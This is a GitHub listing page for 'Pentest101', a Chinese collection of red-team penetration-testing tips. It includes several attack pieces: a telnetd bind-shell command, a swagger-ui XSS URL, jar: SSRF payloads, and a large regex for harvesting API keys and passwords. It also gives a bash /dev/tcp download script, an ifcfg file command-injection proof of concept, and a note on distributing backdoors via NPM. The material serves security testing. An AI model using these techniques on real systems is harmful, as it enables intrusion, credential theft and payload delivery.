SkillAgentSearch skills...

Pentest101

一些关于渗透测试的Tips

Install / Use

/learn @ffffffff0x/Pentest101
About this skill

Quality Score

0/100

Supported Platforms

Universal

README

Pentest101

一些关于渗透测试的知识点


无论红队还是蓝队,干活之前先让客户保存好日志和备份.(在啰嗦我也要说,血的教训)


大纲


红队

临时邮箱 https://10minutemail.net/

姓名、手机号、身份证、统一社会信用代码、组织机构代码、银行卡生成 https://github.com/smxiazi/xia_Liao


这个工具可以通过网站csp策略发现子域名 https://github.com/edoardottt/csprecon


一些需要ip编码绕过的场景,可以使用 https://github.com/projectdiscovery/mapcidr 进行快速生成

echo 127.0.1.0 | mapcidr -if 0 -silent

127.0.1.0
127.1
0177.0.01.0
0x7f.0x0.0x1.0x0
0x7f000100
0xabfa659dfa7f000100
281472812450048
111111111111111101111111000000000000000100000000
0x7f.0.01.0x0
::ffff:7f00:0100
%31%32%37%2E%30%2E%31%2E%30
127.000.001.000

对于 iot 设备, 常用的 nc 或 bash 回弹往往是不可以用的, 这种时候可以用监听 telnet 服务的方法,拿到 shell

telnetd -l /bin/sh -p 1337

安装 telnet 工具后连接目标 1337 口即可

apt install inetutils-telnet

最常见的滑块验证码是通过SaaS接入的,但为了避免第三方服务器出问题影响业务的正常运营,通常会提供一个宕机模式(即第三方服务器出问题时可不用进行滑块验证码),攻击者利用这一点就可以让滑块验证码失效。

比如在请求中添加了个"xx_server_status":0,让服务端以为第三方服务宕机了,就不用进行滑块验证了,从而绕过了滑块验证。

来自文章 : https://mp.weixin.qq.com/s/RzDHjRbw6DnQxig_QFxV7Q


对前端加密比较有帮助的2个工具

  • https://github.com/jxhczhl/JsRpc
  • https://github.com/whwlsfb/BurpCrypto

红队有自建域前置的需求可以考虑用 RedGuard 这个工具


搜索各种 key 的正则

  • burp
    (?i)((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .\-,]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z\-_=]{8,64})['\"]
    
  • vscode
    ((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .\-,]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['"]([0-9a-zA-Z\-_=]{8,64})['"]
    

小技巧来自项目 : https://github.com/AbelChe/macos-all


推荐用 terraform 进行红队基础设施的快速部署,写好配置即可做到一键起 cs,一键配置域前置


内网找找 nacos,通过 CVE-2021-29441 进后台可以翻翻配置文件,可能有数据库连接配置和 accesskey 等内容


网站会加载很多 js 文件,通过浏览器调试就能全局搜索关键的东西,浏览器 F12 打开调试,ctrl+r 刷新,搜索密钥一般用到的参数关键词比如 secret accesskey corpid 等,通过这种方式搜索敏感信息找到密钥


一个通过 swagger 作为入口点的案例分享(没图,凑合着看吧)

  1. 扫描发现 swagger 文档,找到其中一个未授权的文件下载接口
  2. 判断目标为 linux, 下载读取 bash 的历史命令
  3. 在历史命令中得知存在 redis 的服务, 及配置文件地址, 顺便扫端口看了下, 可通, 但有密码
  4. 读取 redis 配置文件, 看 requirepass 参数
  5. 常规套路, redis getshell

遇到了 swagger-ui 除了找接口测试信息泄漏、越权、注入、上传等,还可以直接 xss

/swagger-ui.html?configUrl=https://jumpy-floor.surge.sh/test.json

来自文章 : https://www.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/


java 应用中,ssrf 的点可以使用 jar 协议进行 Blind SSRF

jar:scheme://domain/path!/
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/
  • http://127.0.0.1:8999/ssrf/1?url=jar:http://www.ffffffff0x.com!/

  • http://127.0.0.1:8999/ssrf/1?url=jar:http://www.ffffffff0x1231edadada.com!/


各种环境变量的收集,可用于 log4j 或者配合其他漏洞 🤔

  • https://github.com/Puliczek/awesome-list-of-secrets-in-environment-variables

以后测出 ssrf,深入利用可以打内网 log4j


各类云的 metadata 数据的汇总,可用于 ssrf 时的进一步利用

  • https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b

通过 NPM 仓库做文件分发,可以用于后门文件的分发,域名白名单绕过,有被溯源风险,合理使用

  • https://mp.weixin.qq.com/s/THbjQphUwelO0gSrsEz5IQ

这个文章里讲了redis 主从rce后如何恢复的方法

  • https://mp.weixin.qq.com/s/YPLnYWsBMAYij7wXHVpodg

可以用于 bypass ja3 检测的工具库


分享2个 graphql 利用的辅助工具

还有一个 graphql 的靶场,可以实战试试

GraphQL 自省机制,默认情况下,任何未经身份验证的用户都可以分析 GrapQL 模式。Introspection 允许我们获取有关所有请求、mutation、订阅和数据类型的信息,以及向发出请求的客户端提供的所有其他信息。通过请求 ___schema 元字段可以轻松获得此信息,根据规范,该信息始终可用于“root”类型的查询。

Content-Type: application/json

{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}

一个用于 ip 反查的小工具, 出现新的漏洞 POC, 批量验证完, 快速确定 ip 所属企业,方便提交漏洞 https://github.com/Sma11New/ip2domain


找到了泄露的 Google Maps API 不知道怎么利用,可以使用 gmapsapiscanner 工具进行验证.


分享一个脚本, 可以在 linux 没有 curl 和 wget 的情况用 shell 实现下载功能(仅支持http)

#!/bin/bash
function DOWNLOAD() {

    local URL=$1

    if [ -z "${URL}" ]; then
        printf "Usage: %s \"URL\" [e.g.: %s http://www.xxx.com/test.json]" \
            "${FUNCNAME[0]}" "${FUNCNAME[0]}"
        return 1;
    fi

    read proto server path <<< "${URL//"/"/ }"
    DOC=/${path// //}
    HOST=${server//:*}
    PORT=${server//*:}
    [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

    exec 3<>/dev/tcp/${HOST}/$PORT
    echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
    while IFS= read -r line ; do
        [[ "$line" == $'\r' ]] && break
    done <&3
    nul='\0'
    while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
        printf "%s$nul" "$x"
    done <&3
    exec 3>&-
}

DOWNLOAD "$1"

来自文章 : https://zgao.top/linux%e5%9c%a8%e6%b2%a1%e6%9c%89curl%e5%92%8cwget%e7%9a%84%e6%83%85%e5%86%b5%e4%b8%8b%e5%a6%82%e4%bd%95%e7%94%a8shell%e5%ae%9e%e7%8e%b0%e4%b8%8b%e8%bd%bd%e5%8a%9f%e8%83%bd/


来回切换多个osint搜索引擎很麻烦,一个个导出更是耗费时间,建议你试试我们的多网络资产测绘引擎 API 命令行查询工具

  • https://github.com/ffffffff0x/ones

目前支持 : chaos、hunter、quake、zoomeye、shodan、fofa


企业中经常把企业简称(jsxx)、工号(10086)、姓名全拼(zhangsan)、姓名带点(jing.zhang)等做为登录用户名,攻击者收集工号、邮箱名,或者直接生成用户名字典进行爆破,成功率非常高,这里推荐我们开源的工具来进行字典的生成

  • https://github.com/ffffffff0x/name-fuzz

Redhat/CentOS 发行版下可以通过写恶意网卡配置文件进行命令执行的方式,条件比较受限,但也是一种方法,可以学习一下

  • https://seclists.org/fulldisclosure/2019/Apr/24
sudo tee /etc/sysconfig/network-scripts/ifcfg-1337 <<-'EOF'
NAME=Network /bin/id  &lt;= Note the blank space
ONBOOT=yes
DEVICE=eth0
EOF

service network restart             # 重启网络管理触发
systemctl status network.service    # 可以看到 id 已经执行

![](./ass

View on GitHub
GitHub Stars611
CategoryDevelopment
Updated1mo ago
Forks88

Security Score

80/100

Audited on Feb 3, 2026

No findings